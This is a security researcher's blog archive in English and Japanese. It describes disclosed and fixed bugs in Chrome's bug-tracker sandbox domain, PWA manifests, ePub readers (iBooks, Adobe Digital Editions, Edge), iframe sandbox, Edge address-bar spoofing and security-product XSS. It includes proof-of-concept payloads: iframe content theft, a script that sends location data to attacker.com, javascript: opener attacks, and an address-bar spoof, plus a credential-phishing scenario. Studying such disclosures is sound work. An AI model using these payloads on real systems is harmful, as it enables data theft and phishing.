2018年2月9日金曜日

Abusing sandbox domain to steal Chrome 0days

Today, I'll write about sandbox domain.

Sandbox domain is special domain meant to host untrusted (user uploaded) files. This make sure that untrusted files can not access sensitive information in trusted domains (with the help of SOP). So obviously, having XSS in sandbox domains wouldn't give attacker anything. Or is it? :)

I was browsing bugs.chromium.org one day, and noticed something. When attachment download link is clicked, it will follow below redirect.

https://bugs.chromium.org/p/chromium/issues/attachment?aid=attachment_id
⤵︎ Redirect
https://storage.googleapis.com/monorail-prod.appspot.com/16/attachments/Random_string
⤵︎ Download

And I could also render attachment instead of downloading them by adding "inline=1" parameter. If you noticed, the final domain where attachments are hosted is sandbox domain. It makes sense because those are uploaded by reporters. But some of those attachments are very sensitive because it includes 0day PoC of Chrome.

So I searched if I could host my HTML file in that sandbox domain, and surely I could. Luckily, I also had Chrome 0day attachment uploaded in bugs.chromium.org so I made PoC to steal attachment content from my uploaded HTML file, and it worked :)


<iframe src="https://bugs.chromium.org/p/chromium/issues/attachment?aid=attachment_id&inline=1" onload="alert(this.contentWindow.document.body.innerHTML)"></iframe>

So what attacker needed to do is simple. Go through recent attachments by incrementing "aid" parameter and see which "aid" requires authentication (which means, it's a security sensitive attachment). Gather all those aids and make loop to steal those attachments when rendered. And then, attacker needs to send that link via Chrome bug report so that Chrome security engineers who has access to all of the bugs open the link (which is their job).

After confirming that I can abuse this bug, I quickly reported it to Google. It took sometime for Google to triage the bug (since sandbox domain is usually out of scope), but Eduardo jumped into the case and everything was sorted out :) Overall, It was fixed in 5 days!


My thought on sandbox domain
Separating user contents from trusted domains is a good idea. But some user contents are sensitive. So putting everything together into same-origin sandbox might not be a good idea. Even if access to specific content requires a knowledge of random url path name, script-capable attacker with js file will be able to register Service Worker on sandbox domain. This means, all victim's request to sandbox domain is intercepted in the future if victim is infected by attacker's Service Worker. This idea is well spelled out here.

So, safer way to make sandbox domain is to isolate sandbox with subdomains (e.g. unique subdomain per user). This way, attacker's content won't have access to victim's content. In fact, this is how Google patched this bug.

Don't over trust sandbox domain!

Thanks for reading. hope you liked it :)

2017年12月31日日曜日

ブラウザ セキュリティの近状

7月中旬からEdgeのセキュリティの仕事を始めて、各ブラウザごとに面白いセキュリティの対策をしていることを学んだのでまとめてみる。ちなみに、僕が担当しているのはSOPバイパスなどのデザインレベルのバグですが、最近のブラウザ セキュリティで各社アツいのは「メモリ破壊を使った攻撃を設計レベルでどの様に悪用出来なくするか」という点なのでそこをまとめます。専門ではないので広く浅く(笑)

Chrome
Chromeはブラウザのサンドボックスに力を入れているブラウザです。Chromeの報奨金制度でもサンドボックスのバイパスが最高額で、レンダラRCEの倍額であることからも見てとれます。Chromeはそのサンドボックス技術を使ったSite Isolationという保護機能を開発しています。

Site Isolation
Chromeにはレンダラプロセスというウェブページを処理し表示するプロセスと、ブラウザプロセスというレンダラプロセスをマネージするプロセスがあります(詳細)。タブごとにレンダラプロセスが分かれていて各レンダラプロセスがサンドボックス内で動いている為、レンダラプロセスがメモリ破壊系のバグによって掌握されてしまった場合でもローカルディスクや別のレンダラプロセスにはアクセス出来ない設計になっています。しかしiframeなどを使うと、2つのサイトが1つのレンダラプロセス内に共存してしまう為、レンダラプロセスが掌握されるとUXSSなどに悪用出来てしまうという問題があります。実際にマイクロソフトのOSRチームがChromeのレンダラRCEを使って出来ることの詳細をまとめています。
長くなりましたが、Site Isolationはこの問題を解決するためにサイトごとにレンダラプロセスを分けて、セキュリティチェックをブラウザプロセスで行うというプロセスレベルでの保護機能です。これにより(理論的には)メモリ破壊の脆弱性だけではなくUXSSなどのデザインレベルのバグを使って別のサイトの情報を抜き取る攻撃も防ぐことが出来ます。Chrome 63の時点でちょっとした不具合はあるものの、ある程度安定した状態でこの機能を試すことが出来ます。Site Isolationが完成すれば、レンダラプロセスを掌握出来ても攻撃者が出来ることは殆どなくなると思われています。しかしSite Isolationはその名の通りサイト(ドメイン)の隔離であり、同一ドメイン内の別オリジンに対しては効力がありません。

Firefox
Firefoxは57からFirefox Quantumと名付けられた高速なブラウザをリリースしました。ここ10数年の中でFirefoxの一番大きなアップデートと言われていて、スピードなど色々な部分が改善されています。この中でFirefoxはStyloというCSSエンジンをリリースしました。Styloの何が凄いのかというとRust言語を使って書かれているというところです。

Rust
約10年ほど前、Mozillaの一部の人がCやC++言語を使って大規模で複雑なブラウザを開発をしながら同時に脆弱性を生まない様にするというのは不可能なのではないかと考えました。その為、C++言語並の速さを持ちながらメモリの安全性を保証出来る言語の開発を開始しました。それがRust言語です(この話の詳細)。RustはOwnershipやBorrowingなどのコンセプトを使って、2つの変数が同一のアドレスをさしていないかなど、脆弱性が生まれうる状況をコンパイル時に確認します。Rustのコンセプトが満たされ無い場合はコンパイルエラーとなりコンパイルが出来ません。その為、コンパイルされたコードはメモリの安全性が保証され、ランタイムの安全性確認が必要ありません(詳細)。
MozillaはこのRust言語を使って、Gecko(Firefoxのレンダリングエンジン)を置き換えるServoを作るプロジェクトを進めており、Servoの中でも既に安定しているStyloをFirefoxに先行投入してきたという状態です。その為、理論上(Unsafeを使って変なことをしない限り)FirefoxのCSSエンジンにはメモリ破壊の脆弱性が生まれなくなったということです。Servoが完成すれば、レンダリングエンジンでもその様な脆弱性は生まれなくなります。しかしメモリ破壊の脆弱性が見つかりやすいのはJavascriptエンジンであり、今後そこもRustを使って書き換えるのかに注目です。

Edge
Edgeはこれまで、他のブラウザとは対象的にメモリ破壊のバグがあっても、それを使って任意のコードが実行出来ない様にする保護機能に注力してきました。これにはCFGCIGやACGなどがあります(詳細)。そして今年のFall Creators Updateで、RCEとサンドボックスバイパスを持ってしてもPCの制御を奪われない、Windows Defender Application Guard(WDAG)という機能がリリースされました。

WDAG
WDAGはマイクロソフトのHyper-Vという仮想化システムの技術を使い、Edgeを動かすだけに必要な機能が入ったVM内で動きます(VMのサイズは18MB)。ユーザーからするとEdgeの新しいウィンドウを開いているだけの様な感覚ですが、WDAG内のEdgeはVM内で動いている為、実際にホストマシーンに攻撃したい場合は、RCE、カーネルのバグ、そしてVMエスケープを組み合わせないといけません(詳細)。ユーザはグループポリシーで安全なサイトのホワイトリストを作ることで、安全なサイトのみ普通のEdgeで開き、それ以外のサイトはWDAGを使って開くなどの設定をすることが出来ます。WDAGは現在Windows 10 Enterpriseのみ使える状態ですが、徐々に他のバージョンでも使える様になっていく予定です。


ということで、各ブラウザの近状をまとめて見ました。これから各ブラウザがどうなって行くのか楽しみですね!

それでは、良いお年を!

2017年10月7日土曜日

PWA - Progressive Web Attack

Today, I'm going to blog about PWA (Progressive Web Apps)🙂

These days, web is getting bit secure by the help of CSP, which turns XSS into HTML injection (or really nothing). Even if we find XSS in modern web apps without CSP, sometimes we can't make interesting exploit with an XSS.

But what if there is a way to install an app with browser's native UI, by using just an HTML injection?

Progressive Web Apps
PWA is a web app which has responsive UI and offline capability (using Service Worker, Cache API, etc). And this means that it's very close to native app.

But wait, we could do this with Application Cache too right? Well, PWA is installable. With the use of Web App Manifest.

Progressive Web Attack
Web App Manifest is really special. It has ability to trigger PWA installation prompt with Browser's UI. Simply just with link tag, pointing to manifest file which can be served from cross-origin (with any MIME type) 😆 

Let see how we can abuse this feature!

Suppose Victim site has offline capability, and there is an XSS in webpage which is inside the scope of Service Worker. But Victim site uses a production-quality strict CSP.

Victim site

Vulnerable page.

And here is how to trigger installation prompt.

First, make sure to access main page so that Service Worker is registered. And then, If you access above url with Chrome on Android, you should see below.


Sorry, my phone is Japanese, but clicking on "Add" button will download contents and create home icon in your phone. If you open the app, you will see below page.


This page simply frames attacker page. Since start page of the app is controlled by Attacker's manifest and app only has navigation capability provided by attacker (no address bar and no back or forward button), user is totally controlled by attacker. And goodbye to Victim site, user will use the app from now on!

This is all done by just an HTML injection 😆


BTW, I feel that installation prompt provided by browser isn't very good. It only shows Domain when prompting user. So any website which allows uploading user contents to subdomain (such as Shopify) might be used for phishing attack.

Anyways, there are some limitation of this technique.
  1. Link tag which points to manifest needs to be inside head tag.
  2. start_url needs to be on same-origin as the Victim site's origin.
  3. Navigating top document to cross-origin site would trigger address bar to show up even inside an app.
Last but not least, I think manifest should only be accepted when served from same origin. Specification needs to be more carefully thought (and should be changed, hopefully).

To protect against this kind of attack, make sure to set CSP manifest-src to 'none' if you don't use PWA (and AppCache) or any appropriate source if you use it.

Hope you enjoyed it!

2017年5月16日火曜日

Is your ePub reader secure enough?

Hi, this is my first (and last?) blog post in English. Sorry if there's any grammatical mistake, I'm not too fluent in English.

Today, I'll write about ePub file with some of my findings in ePub readers.

So What's ePub file?
EPUB is an e-book file format with the extension .epub that can be downloaded and read on devices like smartphones, tablets, computers, or e-readers.
And in technical implementation
An EPUB file is a ZIP archive that contains, in effect, a website—including HTML files, images, CSS style sheets, and other assets. It also contains metadata. EPUB 3 is the latest version. By using HTML5, publications can contain video, audio, and interactivity, just like websites in web browsers.
https://en.wikipedia.org/wiki/EPUB


In short, ePub file is a Zip archive that contains a Book built with web technologies such as (X)HTML files, CSS style sheets, images like SVG, and if Reader supports, it could contain JS, PDF, Flash, and so on.

Specification of ePub is published by IDPF. And some interesting points in the Spec are:

  1. Javascript support is optional. Reader may or may not support Javascript.
  2. EPUB Publication can create security considerations that are different from scripting within a Web browser.
But Spec does not talk about what scheme or protocol should Reader use to load ePub contents. So each reader has their own way of implementing this with or without JS.

Well, Let's see what could go wrong.


iBooks
iBooks is an ePub reader developed by Apple. It uses Webkit for rendering ePub contents and it supports Javascript.

While I was testing iBooks, I noticed something.


First thing I noticed was that they use file scheme to serve ePub contents. And second thing I noticed was they doesn't allow external website to load inside iframe but they do allow external image to be loaded. So just doing following could leak victim's PC user name.

<img>
<script>
document.querySelector(“img”).src = “http:// attacker.com/sample.png?” + location.href;
</script>

And even worse, Victim's local file could be leaked. See @craig_arendt's blog post for more details. And I also recommend you to read how he hacked online services using ePub file.

Back to the story, I tried to redirect ePub content to external website using script like location.replace(). But iBooks did not allow redirect. Seeing that iBooks prevents external iframe as well as redirect to external website, I was sure if I could find a way to do so, they would most likely consider it as a vulnerability. So after a bit of kick and punch, I came up with redirect.

<script>
setTimeout('location.replace("https://attacker.com")');
</script>

But instead of opening external website in iBooks, it opened website with default browser😬 Anyways, I've reported this and it's now fixed.


Adobe Digital Editions
ADE is ePub reader developed by Adobe. ADE on Windows uses IE for rendering ePub contents. Wondering how I came to know that ADE uses IE on Windows? See this.


Hehehe😜 Anyways, I won't talk about ADE much because I don't want to say something that Adobe might consider as a vulnerability. So below are the key points.

  1. Javascript is supported.
  2. ePub content is served from localhost.
  3. It's IE! Flash, Adobe Reader, and ActiveXObject are supported. Off course, port is not considered to be part of SOP
What else do you need?


Edge ePub Reader
Microsoft Edge has built-in ePub Reader. Edge ePub reader is different from previous readers in 2 ways.
  1. Javascript is restricted.
  2. You can read web hosted ePub files without download.
Now let's see their implementation!

When you navigate to ePub file, it seems like it's just loaded as it is. But in the backend, it is redirected to ms-epub protocol like below.



"location.host" part of ms-epub URL is random string and it changes every time you load ePub file.

Now let's see how Edge restricts Javascript in ePub reader.


So Edge ePub reader (bookviewer.htm) loads user content inside iframe sandbox with "allow-same-origin allow-popups". Because "allow-scripts" is not added to sandbox attribute, user content loses ability to execute Javascript.

So is it impossible to execute Javascript? Let's dig more deeper. While testing with ePub files, I noticed that website opened from ePub file could execute Javascript. That's strange😕 "allow-popups" will allow popups but popups created by sandboxed content should have affect of sandbox too. So in this case, web site opened by sandboxed content should not have ability to execute Javascript. Anyways, it seems like Edge implemented "allow-popups-to-escape-sandbox" silently inside ePub reader (Note that Edge does not support "allow-popups-to-escape-sandbox" yet). And more interestingly, opened website has opener set to bookviewer.htm, the ePub reader! So to execute Javascript in the context of ePub reader, we need to create a link which has script capability as well as same origin with ePub reader. Well, this must be it!!

<a href=“javascript:opener.alert(opener.location)”>Go!</a>



Yes!!! Now let's see if we have other way to execute Javascript. How about framing ePub file? But doing something like "<iframe src='https://shhnjk.com/test.epub'>" would download ePub file instead of loading them. What if we frame with ms-epub protocol like below?

<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https%3A%2F%2Fshhnjk.com%2Ftest.epub”>


Yes!!! Even though "location.host" part of ms-epub was random string, we could reuse previously used string to load ePub file again! So we will load user content which contains script and game over right?

<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”>


It seems like Edge can't load user content directly because Edge doesn't know where is this content served from. So let's teach Edge what we want her to load😀

<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https://shhnjk.com/alert.epub”></iframe>
<script>
setTimeout(function(){
frames[0].location.replace(“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”)
},3000)
</script>

<!-- code in chapter-1.xhtml -->
<script>alert(location)</script>

First, we will load ePub file with bookviewer.htm so that Edge would know user content inside that ePub file. And then we will redirect frame to user content itself which contains Javascript. But as it's our iframe hosted on our website, there's no sandbox😎


Okay. We understood that we've bypassed the restriction 2 times and executed Javascript in the context of ePub reader. But how can we exploit this vulnerability? Well, I guess everyone noticed the url parameter in bookviewer.htm. It seems like whatever specified in url parameter is displayed in the address bar. So let's use this thought with first bypass.

<a href=“javascript:opener.location.search='?url=https://www.google.com';
opener.document.write('&lt;title&gt;Google&lt;/title&gt;This is Google.com'); window.close()”>Go</a>


Okay, this worked as expected! Further testing on url parameter, I noticed that we could actually load any cross origin ePub file using url parameter. And even if we change url parameter, origin of ePub reader remains same, so we have full access to content of cross origin ePub files!!

<!-- from attacker.com/evil.epub -->
<a href=“javascript:opener.location.search=‘?url=https://shhnjk.com/test.epub';setInterval(function(){alert(opener.frames[0].document.body.innerHTML)},1000)”>Go</a>


So we could abuse ePub reader JS execution to spoof address bar and also to steel information from cross origin ePub file.

The vulnerable version of ePub reader was only available to Windows Insiders for 3 months and after I reported this to MSRC, they've fundamentally fixed the ePub reader issues. So ePub reader release with Creators Update has some mitigations.

  1. Protocol has changed to ms-local-stream which is not framable (AFAIK)
  2. "location.host" part is no more reusable (same "location.host" on different frame or window wouldn't work anymore)
  3. url parameter has been removed (attacker needs to find new way to exploit even if they have JS execution on ePub reader)
This was great work from MSRC and EdgeDev in just 3 months! Thanks and awaiting for bounty💰😬


Sorry for the long post and thank you for reading!! Hope you enjoyed😁

Jun

2016年12月20日火曜日

iframe sandboxの真実

脆弱性"&'<<>\ Advent Calendar 2016」20日目の記事です。

今回はiframe sandboxの仕様から漏れた脆弱性とは言えないものの話です。

1. ダウンロード

iframe sandboxでdownloadを防ぐことは出来ません。

PoC
https://vuln.shhnjk.com/sandbox.php?url=/download.php

2. カスタムプロトコル
iframe sandboxでカスタムプロトコルの使用を防ぐことは出来ません。先日Edgeのiframe sandbox bypassとして公開された手法も確認画面が出ないこと以外はこの仕様の問題で、Windows 10のChromeでもmicrosoft-edge:を使うことが出来ます(確認画面は出ますが)。

PoC
https://vuln.shhnjk.com/sandbox.php?url=/custom.html

iOSではまた別の挙動があったりと、確認画面が出る出ないも良く分からない状態です。

3. History
iframe sandboxではallow-top-navigationが指定されていない限り親Windowのリダイレクトは出来ないはずですが、allow-scriptsが指定されていた場合Historyを使うことで親Windowの履歴を操作することが出来ます。

PoC
https://vuln.shhnjk.com/sandbox.php?url=/history.html&s=allow-scripts

しかしhistory.pushStateは同一オリジンでないと実行出来ず、iframe sandboxはオリジンがnullなので、親Windowを任意のサイトにリダイレクトすることは出来ないと思います。


ということで、iframe sandboxを使う際は何をサンドボックス化してくれるのか確かめてから利用しましょう。

ではでは。(脆弱性"&'<<>\ Advent Calendar 2016誰か書いて下さい!)

2016年12月9日金曜日

Edgeのアドレスバー偽装

脆弱性"&'<<>\ Advent Calendar 2016」9日目の記事です。

追記
-------------------------------------------------------------
MSRCからミスだったとのメールがありました。
無事ケースが作られ、脆弱性として対応して
貰えることになりました。
-------------------------------------------------------------


先日MicrosoftにEdgeのアドレスバー偽装のバグを報告したところ、脆弱性ではないと言われたので公開します。

以下が再現コードです。ただ単に長いURLにリダイレクトしてあげればいいだけ。

<a href="#" onclick="window.w=window.open('https://www.google.com');go()">go</a>
<script>
function go(){
setTimeout(function(){w.location.replace("https://shhnjk.com/#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")},3000);}

</script>

PoC
https://shhnjk.com/w.html

脆弱性ではないとのことなので、どんなことができるのかやってみました。


FacebookのポストをクリックするとFacebookのログアウトCSRFを使ってFacebookがログアウトされ、さらにOpenerと今回のアドレスバー偽装を使って攻撃者のサイトにあるFakebookのログイン画面にリダイレクトされます。そこでメールアドレスとパスワードが入力されれば、それを盗んで正規のFacebookログイン画面に飛ばして終了です。

これ以外にもEdgeのアドレスバー偽装は公開されています。

http://www.cracking.com.ar/demos/edgespoof/2/

ChromeやFirefoxでは報奨金が貰える脆弱性なのですが、Microsoftは脆弱性とは認めないとのことなので、EdgeやIEのアドレスバーはお飾りぐらいに思っておいた方がいいのかもしれません。



ではでは。

2016年12月8日木曜日

セキュリティ製品のお話

脆弱性"&'<<>\ Advent Calendar 2016」8日目の記事です。

「このまま黙って見てればキヌガワさんの隠しテクバンバン公開されるんじゃね?」と思ってしまったあなた、今すぐ脆弱性"&'<<>\ Advent Calendar 2016に登録して何か書きましょう。


さて、自社で取り扱っている製品をセキュアにしようという口実でサイボウズ脆弱性報奨金制度に参加していますが、「貴様金目当てだろ」と言われないよう他の製品も見てみました。

まずFireEyeのETPを見てみたところ、隔離されたメールを表示するページの検索機能でSelf-XSSを発見しました。





報告したところ、管理者のみ?見れるAPTページにも同様のXSSがあり、何故か優先度Highで修正されました。



次にトレンドマイクロのWorry-Free Business Securityという製品でXSSを見つけました。

https://wfbs-svc.trendmicro.com/wfbs-svc/intl/en/view/lockout_page?date=%3Cscript%3Ealert(document.domain)%3C/script%3E



修正後見に行ったところ、DuckDuckGoみたいにタグがあったら消す修正方法だったので、不完全なタグを入れることで再度XSS出来ました。ちなみに管理者に踏ませると企業内の各PCのPC名、ローカルIP、パターンファイル情報などが抜き取れました。


最近ではGoogleのProject Zeroにより、アンチウィルスなどのセキュリティ製品が実は危ないということが分かってきました。以下は主要アンチウィルスの脆弱性を次々に見つけたTavisさんのツイート。

「どのアンチウィルスを使えばいいか良く聞かれるが、アンチウィルスは問題を解決する以上に生み出すよ」

またKasperskyが独自のセキュアなOSを開発したニュースについてProject Zeroのメンバーから「そのOSにアイツらの糞みたいなアンチウィルスじゃなくてWindows Defender入れられるの?」という質問も飛び出しています。

この問題の証明として、Tavisさんはアンチウィルスのゼロデイが実際に買われているとツイートしています。


アンチウィルスは権限が高いにも関わらず、設計や開発がボロボロらしいです。ということで、標的型攻撃の際はアンチウィルスが守ってくれるのではなく攻撃に使われることを想定しましょう。また日本でアンチウィルスを入れるべきか否かなどの議論がおきてくれると有り難いです。

ではでは。